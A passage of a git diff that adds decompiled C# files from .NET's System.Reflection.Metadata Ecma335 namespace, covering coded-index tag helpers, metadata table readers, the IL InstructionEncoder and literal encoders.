taggedReference >> 5; + if (num == uint.MaxValue || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertToTag(EntityHandle handle) + { + uint type = handle.Type; + uint rowId = (uint)handle.RowId; + return (type >> 24) switch + { + 6u => (rowId << 5) | 0, + 4u => (rowId << 5) | 1, + 1u => (rowId << 5) | 2, + 2u => (rowId << 5) | 3, + 8u => (rowId << 5) | 4, + 9u => (rowId << 5) | 5, + 10u => (rowId << 5) | 6, + 0u => (rowId << 5) | 7, + 14u => (rowId << 5) | 8, + 23u => (rowId << 5) | 9, + 20u => (rowId << 5) | 0xA, + 17u => (rowId << 5) | 0xB, + 26u => (rowId << 5) | 0xC, + 27u => (rowId << 5) | 0xD, + 32u => (rowId << 5) | 0xE, + 35u => (rowId << 5) | 0xF, + 38u => (rowId << 5) | 0x10, + 39u => (rowId << 5) | 0x11, + 40u => (rowId << 5) | 0x12, + 42u => (rowId << 5) | 0x13, + 44u => (rowId << 5) | 0x14, + 43u => (rowId << 5) | 0x15, + 48u => (rowId << 5) | 0x16, + 50u => (rowId << 5) | 0x17, + 51u => (rowId << 5) | 0x18, + 52u => (rowId << 5) | 0x19, + 53u => (rowId << 5) | 0x1A, + _ => 0u, + }; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasDeclSecurityTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasDeclSecurityTag.cs new file mode 100644 index 0000000..b6d2d11 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasDeclSecurityTag.cs @@ -0,0 +1,47 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasDeclSecurityTag +{ + internal const int NumberOfBits = 2; + + internal const int LargeRowSize = 16384; + + internal const uint TypeDef = 0u; + + internal const uint MethodDef = 1u; + + internal const uint Assembly = 2u; + + internal const uint TagMask = 3u; + + internal const TableMask TablesReferenced = TableMask.TypeDef | TableMask.MethodDef | TableMask.Assembly; + + internal const uint TagToTokenTypeByteVector = 2098690u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint hasDeclSecurity) + { + uint num = (uint)(2098690 >>> (int)((hasDeclSecurity & 3) << 3) << 24); + uint num2 = hasDeclSecurity >> 2; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertToTag(EntityHandle handle) + { + uint type = handle.Type; + uint rowId = (uint)handle.RowId; + return (type >> 24) switch + { + 2u => (rowId << 2) | 0, + 6u => (rowId << 2) | 1, + 32u => (rowId << 2) | 2, + _ => 0u, + }; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasFieldMarshalTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasFieldMarshalTag.cs new file mode 100644 index 0000000..28e0ba9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasFieldMarshalTag.cs @@ -0,0 +1,45 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasFieldMarshalTag +{ + internal const int NumberOfBits = 1; + + internal const int LargeRowSize = 32768; + + internal const uint Field = 0u; + + internal const uint Param = 1u; + + internal const uint TagMask = 1u; + + internal const TableMask TablesReferenced = TableMask.Field | TableMask.Param; + + internal const uint TagToTokenTypeByteVector = 2052u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint hasFieldMarshal) + { + uint num = (uint)(2052 >>> (int)((hasFieldMarshal & 1) << 3) << 24); + uint num2 = hasFieldMarshal >> 1; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertToTag(EntityHandle handle) + { + if (handle.Type == 67108864) + { + return (uint)((handle.RowId << 1) | 0); + } + if (handle.Type == 134217728) + { + return (uint)((handle.RowId << 1) | 1); + } + return 0u; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasSemanticsTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasSemanticsTag.cs new file mode 100644 index 0000000..83f30ef --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasSemanticsTag.cs @@ -0,0 +1,42 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasSemanticsTag +{ + internal const int NumberOfBits = 1; + + internal const int LargeRowSize = 32768; + + internal const uint Event = 0u; + + internal const uint Property = 1u; + + internal const uint TagMask = 1u; + + internal const TableMask TablesReferenced = TableMask.Event | TableMask.Property; + + internal const uint TagToTokenTypeByteVector = 5908u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint hasSemantic) + { + uint num = (uint)(5908 >>> (int)((hasSemantic & 1) << 3) << 24); + uint num2 = hasSemantic >> 1; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertEventHandleToTag(EventDefinitionHandle eventDef) + { + return (uint)((eventDef.RowId << 1) | 0); + } + + internal static uint ConvertPropertyHandleToTag(PropertyDefinitionHandle propertyDef) + { + return (uint)((propertyDef.RowId << 1) | 1); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapHandleType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapHandleType.cs new file mode 100644 index 0000000..a9c5ccb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapHandleType.cs @@ -0,0 +1,15 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class HeapHandleType +{ + internal const int OffsetBitCount = 29; + + internal const uint OffsetMask = 536870911u; + + internal const uint VirtualBit = 2147483648u; + + internal static bool IsValidHeapOffset(uint offset) + { + return (offset & 0xE0000000u) == 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndex.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndex.cs new file mode 100644 index 0000000..4242e5e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndex.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata.Ecma335; + +public enum HeapIndex +{ + UserString, + String, + Blob, + Guid +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndexExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndexExtensions.cs new file mode 100644 index 0000000..4da5889 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapIndexExtensions.cs @@ -0,0 +1,6 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class HeapIndexExtensions +{ + internal const int Count = 4; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizeFlag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizeFlag.cs new file mode 100644 index 0000000..3f3110c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizeFlag.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum HeapSizeFlag : byte +{ + StringHeapLarge = 1, + GuidHeapLarge = 2, + BlobHeapLarge = 4, + EncDeltas = 0x20, + DeletedMarks = 0x80 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizes.cs new file mode 100644 index 0000000..92ccda5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HeapSizes.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum HeapSizes : byte +{ + StringHeapLarge = 1, + GuidHeapLarge = 2, + BlobHeapLarge = 4, + ExtraData = 0x40 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplMapTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplMapTableReader.cs new file mode 100644 index 0000000..c073713 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplMapTableReader.cs @@ -0,0 +1,76 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ImplMapTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsModuleRefTableRowRefSizeSmall; + + private readonly bool _IsMemberForwardRowRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _MemberForwardedOffset; + + private readonly int _ImportNameOffset; + + private readonly int _ImportScopeOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ImplMapTableReader(int numberOfRows, bool declaredSorted, int moduleRefTableRowRefSize, int memberForwardedRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsModuleRefTableRowRefSizeSmall = moduleRefTableRowRefSize == 2; + _IsMemberForwardRowRefSizeSmall = memberForwardedRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _FlagsOffset = 0; + _MemberForwardedOffset = _FlagsOffset + 2; + _ImportNameOffset = _MemberForwardedOffset + memberForwardedRefSize; + _ImportScopeOffset = _ImportNameOffset + stringHeapRefSize; + RowSize = _ImportScopeOffset + moduleRefTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.ImplMap); + } + } + + internal MethodImport GetImport(int rowId) + { + int num = (rowId - 1) * RowSize; + MethodImportAttributes attributes = (MethodImportAttributes)Block.PeekUInt16(num + _FlagsOffset); + StringHandle name = StringHandle.FromOffset(Block.PeekHeapReference(num + _ImportNameOffset, _IsStringHeapRefSizeSmall)); + ModuleReferenceHandle module = ModuleReferenceHandle.FromRowId(Block.PeekReference(num + _ImportScopeOffset, _IsModuleRefTableRowRefSizeSmall)); + return new MethodImport(attributes, name, module); + } + + internal EntityHandle GetMemberForwarded(int rowId) + { + int num = (rowId - 1) * RowSize; + return MemberForwardedTag.ConvertToHandle(Block.PeekTaggedReference(num + _MemberForwardedOffset, _IsMemberForwardRowRefSizeSmall)); + } + + internal int FindImplForMethod(MethodDefinitionHandle methodDef) + { + uint searchCodedTag = MemberForwardedTag.ConvertMethodDefToTag(methodDef); + return BinarySearchTag(searchCodedTag); + } + + private int BinarySearchTag(uint searchCodedTag) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _MemberForwardedOffset, searchCodedTag, _IsMemberForwardRowRefSizeSmall); + return num + 1; + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _MemberForwardedOffset, _IsMemberForwardRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplementationTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplementationTag.cs new file mode 100644 index 0000000..95a507d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImplementationTag.cs @@ -0,0 +1,34 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class ImplementationTag +{ + internal const int NumberOfBits = 2; + + internal const int LargeRowSize = 16384; + + internal const uint File = 0u; + + internal const uint AssemblyRef = 1u; + + internal const uint ExportedType = 2u; + + internal const uint TagMask = 3u; + + internal const uint TagToTokenTypeByteVector = 2564902u; + + internal const TableMask TablesReferenced = TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint implementation) + { + uint num = (uint)(2564902 >>> (int)((implementation & 3) << 3) << 24); + uint num2 = implementation >> 2; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImportScopeTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImportScopeTableReader.cs new file mode 100644 index 0000000..de1dd91 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ImportScopeTableReader.cs @@ -0,0 +1,42 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ImportScopeTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isImportScopeRefSizeSmall; + + private readonly bool _isBlobHeapRefSizeSmall; + + private const int ParentOffset = 0; + + private readonly int _importsOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ImportScopeTableReader(int numberOfRows, int importScopeRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isImportScopeRefSizeSmall = importScopeRefSize == 2; + _isBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _importsOffset = importScopeRefSize; + RowSize = _importsOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal ImportScopeHandle GetParent(ImportScopeHandle handle) + { + int offset = (handle.RowId - 1) * RowSize; + return ImportScopeHandle.FromRowId(Block.PeekReference(offset, _isImportScopeRefSizeSmall)); + } + + internal BlobHandle GetImports(ImportScopeHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _importsOffset, _isBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InstructionEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InstructionEncoder.cs new file mode 100644 index 0000000..0250057 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InstructionEncoder.cs @@ -0,0 +1,338 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct InstructionEncoder +{ + public BlobBuilder CodeBuilder { get; } + + public ControlFlowBuilder? ControlFlowBuilder { get; } + + public int Offset => CodeBuilder.Count; + + public InstructionEncoder(BlobBuilder codeBuilder, ControlFlowBuilder? controlFlowBuilder = null) + { + if (codeBuilder == null) + { + Throw.BuilderArgumentNull(); + } + CodeBuilder = codeBuilder; + ControlFlowBuilder = controlFlowBuilder; + } + + public void OpCode(ILOpCode code) + { + if ((uint)(byte)code == (uint)code) + { + CodeBuilder.WriteByte((byte)code); + } + else + { + CodeBuilder.WriteUInt16BE((ushort)code); + } + } + + public void Token(EntityHandle handle) + { + Token(MetadataTokens.GetToken(handle)); + } + + public void Token(int token) + { + CodeBuilder.WriteInt32(token); + } + + public void LoadString(UserStringHandle handle) + { + OpCode(ILOpCode.Ldstr); + Token(MetadataTokens.GetToken(handle)); + } + + public void Call(EntityHandle methodHandle) + { + if (methodHandle.Kind != HandleKind.MethodDefinition && methodHandle.Kind != HandleKind.MethodSpecification && methodHandle.Kind != HandleKind.MemberReference) + { + Throw.InvalidArgument_Handle("methodHandle"); + } + OpCode(ILOpCode.Call); + Token(methodHandle); + } + + public void Call(MethodDefinitionHandle methodHandle) + { + OpCode(ILOpCode.Call); + Token(methodHandle); + } + + public void Call(MethodSpecificationHandle methodHandle) + { + OpCode(ILOpCode.Call); + Token(methodHandle); + } + + public void Call(MemberReferenceHandle methodHandle) + { + OpCode(ILOpCode.Call); + Token(methodHandle); + } + + public void CallIndirect(StandaloneSignatureHandle signature) + { + OpCode(ILOpCode.Calli); + Token(signature); + } + + public void LoadConstantI4(int value) + { + ILOpCode code; + switch (value) + { + case -1: + code = ILOpCode.Ldc_i4_m1; + break; + case 0: + code = ILOpCode.Ldc_i4_0; + break; + case 1: + code = ILOpCode.Ldc_i4_1; + break; + case 2: + code = ILOpCode.Ldc_i4_2; + break; + case 3: + code = ILOpCode.Ldc_i4_3; + break; + case 4: + code = ILOpCode.Ldc_i4_4; + break; + case 5: + code = ILOpCode.Ldc_i4_5; + break; + case 6: + code = ILOpCode.Ldc_i4_6; + break; + case 7: + code = ILOpCode.Ldc_i4_7; + break; + case 8: + code = ILOpCode.Ldc_i4_8; + break; + default: + if ((sbyte)value == value) + { + OpCode(ILOpCode.Ldc_i4_s); + CodeBuilder.WriteSByte((sbyte)value); + } + else + { + OpCode(ILOpCode.Ldc_i4); + CodeBuilder.WriteInt32(value); + } + return; + } + OpCode(code); + } + + public void LoadConstantI8(long value) + { + OpCode(ILOpCode.Ldc_i8); + CodeBuilder.WriteInt64(value); + } + + public void LoadConstantR4(float value) + { + OpCode(ILOpCode.Ldc_r4); + CodeBuilder.WriteSingle(value); + } + + public void LoadConstantR8(double value) + { + OpCode(ILOpCode.Ldc_r8); + CodeBuilder.WriteDouble(value); + } + + public void LoadLocal(int slotIndex) + { + switch (slotIndex) + { + case 0: + OpCode(ILOpCode.Ldloc_0); + return; + case 1: + OpCode(ILOpCode.Ldloc_1); + return; + case 2: + OpCode(ILOpCode.Ldloc_2); + return; + case 3: + OpCode(ILOpCode.Ldloc_3); + return; + } + if ((uint)slotIndex <= 255u) + { + OpCode(ILOpCode.Ldloc_s); + CodeBuilder.WriteByte((byte)slotIndex); + } + else if (slotIndex > 0) + { + OpCode(ILOpCode.Ldloc); + CodeBuilder.WriteInt32(slotIndex); + } + else + { + Throw.ArgumentOutOfRange("slotIndex"); + } + } + + public void StoreLocal(int slotIndex) + { + switch (slotIndex) + { + case 0: + OpCode(ILOpCode.Stloc_0); + return; + case 1: + OpCode(ILOpCode.Stloc_1); + return; + case 2: + OpCode(ILOpCode.Stloc_2); + return; + case 3: + OpCode(ILOpCode.Stloc_3); + return; + } + if ((uint)slotIndex <= 255u) + { + OpCode(ILOpCode.Stloc_s); + CodeBuilder.WriteByte((byte)slotIndex); + } + else if (slotIndex > 0) + { + OpCode(ILOpCode.Stloc); + CodeBuilder.WriteInt32(slotIndex); + } + else + { + Throw.ArgumentOutOfRange("slotIndex"); + } + } + + public void LoadLocalAddress(int slotIndex) + { + if ((uint)slotIndex <= 255u) + { + OpCode(ILOpCode.Ldloca_s); + CodeBuilder.WriteByte((byte)slotIndex); + } + else if (slotIndex > 0) + { + OpCode(ILOpCode.Ldloca); + CodeBuilder.WriteInt32(slotIndex); + } + else + { + Throw.ArgumentOutOfRange("slotIndex"); + } + } + + public void LoadArgument(int argumentIndex) + { + switch (argumentIndex) + { + case 0: + OpCode(ILOpCode.Ldarg_0); + return; + case 1: + OpCode(ILOpCode.Ldarg_1); + return; + case 2: + OpCode(ILOpCode.Ldarg_2); + return; + case 3: + OpCode(ILOpCode.Ldarg_3); + return; + } + if ((uint)argumentIndex <= 255u) + { + OpCode(ILOpCode.Ldarg_s); + CodeBuilder.WriteByte((byte)argumentIndex); + } + else if (argumentIndex > 0) + { + OpCode(ILOpCode.Ldarg); + CodeBuilder.WriteInt32(argumentIndex); + } + else + { + Throw.ArgumentOutOfRange("argumentIndex"); + } + } + + public void LoadArgumentAddress(int argumentIndex) + { + if ((uint)argumentIndex <= 255u) + { + OpCode(ILOpCode.Ldarga_s); + CodeBuilder.WriteByte((byte)argumentIndex); + } + else if (argumentIndex > 0) + { + OpCode(ILOpCode.Ldarga); + CodeBuilder.WriteInt32(argumentIndex); + } + else + { + Throw.ArgumentOutOfRange("argumentIndex"); + } + } + + public void StoreArgument(int argumentIndex) + { + if ((uint)argumentIndex <= 255u) + { + OpCode(ILOpCode.Starg_s); + CodeBuilder.WriteByte((byte)argumentIndex); + } + else if (argumentIndex > 0) + { + OpCode(ILOpCode.Starg); + CodeBuilder.WriteInt32(argumentIndex); + } + else + { + Throw.ArgumentOutOfRange("argumentIndex"); + } + } + + public LabelHandle DefineLabel() + { + return GetBranchBuilder().AddLabel(); + } + + public void Branch(ILOpCode code, LabelHandle label) + { + int branchOperandSize = code.GetBranchOperandSize(); + GetBranchBuilder().AddBranch(Offset, label, code); + OpCode(code); + if (branchOperandSize == 1) + { + CodeBuilder.WriteSByte(-1); + } + else + { + CodeBuilder.WriteInt32(-1); + } + } + + public void MarkLabel(LabelHandle label) + { + GetBranchBuilder().MarkLabel(Offset, label); + } + + private ControlFlowBuilder GetBranchBuilder() + { + if (ControlFlowBuilder == null) + { + Throw.ControlFlowBuilderNotAvailable(); + } + return ControlFlowBuilder; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InterfaceImplTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InterfaceImplTableReader.cs new file mode 100644 index 0000000..7632940 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/InterfaceImplTableReader.cs @@ -0,0 +1,62 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct InterfaceImplTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly bool _IsTypeDefOrRefRefSizeSmall; + + private readonly int _ClassOffset; + + private readonly int _InterfaceOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal InterfaceImplTableReader(int numberOfRows, bool declaredSorted, int typeDefTableRowRefSize, int typeDefOrRefRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _IsTypeDefOrRefRefSizeSmall = typeDefOrRefRefSize == 2; + _ClassOffset = 0; + _InterfaceOffset = _ClassOffset + typeDefTableRowRefSize; + RowSize = _InterfaceOffset + typeDefOrRefRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.InterfaceImpl); + } + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ClassOffset, _IsTypeDefTableRowRefSizeSmall); + } + + internal void GetInterfaceImplRange(TypeDefinitionHandle typeDef, out int firstImplRowId, out int lastImplRowId) + { + int rowId = typeDef.RowId; + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _ClassOffset, (uint)rowId, _IsTypeDefTableRowRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + firstImplRowId = 1; + lastImplRowId = 0; + } + else + { + firstImplRowId = startRowNumber + 1; + lastImplRowId = endRowNumber + 1; + } + } + + internal EntityHandle GetInterface(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _InterfaceOffset, _IsTypeDefOrRefRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LabelHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LabelHandle.cs new file mode 100644 index 0000000..d5ec7c4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LabelHandle.cs @@ -0,0 +1,44 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct LabelHandle : IEquatable +{ + public int Id { get; } + + public bool IsNil => Id == 0; + + internal LabelHandle(int id) + { + Id = id; + } + + public bool Equals(LabelHandle other) + { + return Id == other.Id; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is LabelHandle other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Id.GetHashCode(); + } + + public static bool operator ==(LabelHandle left, LabelHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(LabelHandle left, LabelHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralEncoder.cs new file mode 100644 index 0000000..11f2768 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralEncoder.cs @@ -0,0 +1,63 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct LiteralEncoder +{ + public BlobBuilder Builder { get; } + + public LiteralEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public VectorEncoder Vector() + { + return new VectorEncoder(Builder); + } + + public void TaggedVector(out CustomAttributeArrayTypeEncoder arrayType, out VectorEncoder vector) + { + arrayType = new CustomAttributeArrayTypeEncoder(Builder); + vector = new VectorEncoder(Builder); + } + + public void TaggedVector(Action arrayType, Action vector) + { + if (arrayType == null) + { + Throw.ArgumentNull("arrayType"); + } + if (vector == null) + { + Throw.ArgumentNull("vector"); + } + TaggedVector(out var arrayType2, out var vector2); + arrayType(arrayType2); + vector(vector2); + } + + public ScalarEncoder Scalar() + { + return new ScalarEncoder(Builder); + } + + public void TaggedScalar(out CustomAttributeElementTypeEncoder type, out ScalarEncoder scalar) + { + type = new CustomAttributeElementTypeEncoder(Builder); + scalar = new ScalarEncoder(Builder); + } + + public void TaggedScalar(Action type, Action scalar) + { + if (type == null) + { + Throw.ArgumentNull("type"); + } + if (scalar == null) + { + Throw.ArgumentNull("scalar"); + } + TaggedScalar(out var type2, out var scalar2); + type(type2); + scalar(scalar2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralsEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralsEncoder.cs new file mode 100644 index 0000000..afccdb1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LiteralsEncoder.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct LiteralsEncoder +{ + public BlobBuilder Builder { get; } + + public LiteralsEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public LiteralEncoder AddLiteral() + { + return new LiteralEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalConstantTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalConstantTableReader.cs new file mode 100644 index 0000000..54298c5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalConstantTableReader.cs @@ -0,0 +1,42 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct LocalConstantTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isStringHeapRefSizeSmall; + + private readonly bool _isBlobHeapRefSizeSmall; + + private const int NameOffset = 0; + + private readonly int _signatureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal LocalConstantTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isStringHeapRefSizeSmall = stringHeapRefSize == 2; + _isBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _signatureOffset = stringHeapRefSize; + RowSize = _signatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal StringHandle GetName(LocalConstantHandle handle) + { + int offset = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(offset, _isStringHeapRefSizeSmall)); + } + + internal BlobHandle GetSignature(LocalConstantHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _signatureOffset, _isBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalScopeTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalScopeTableReader.cs new file mode 100644 index 0000000..1db994c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalScopeTableReader.cs @@ -0,0 +1,114 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct LocalScopeTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isMethodRefSmall; + + private readonly bool _isImportScopeRefSmall; + + private readonly bool _isLocalConstantRefSmall; + + private readonly bool _isLocalVariableRefSmall; + + private const int MethodOffset = 0; + + private readonly int _importScopeOffset; + + private readonly int _variableListOffset; + + private readonly int _constantListOffset; + + private readonly int _startOffsetOffset; + + private readonly int _lengthOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal LocalScopeTableReader(int numberOfRows, bool declaredSorted, int methodRefSize, int importScopeRefSize, int localVariableRefSize, int localConstantRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isMethodRefSmall = methodRefSize == 2; + 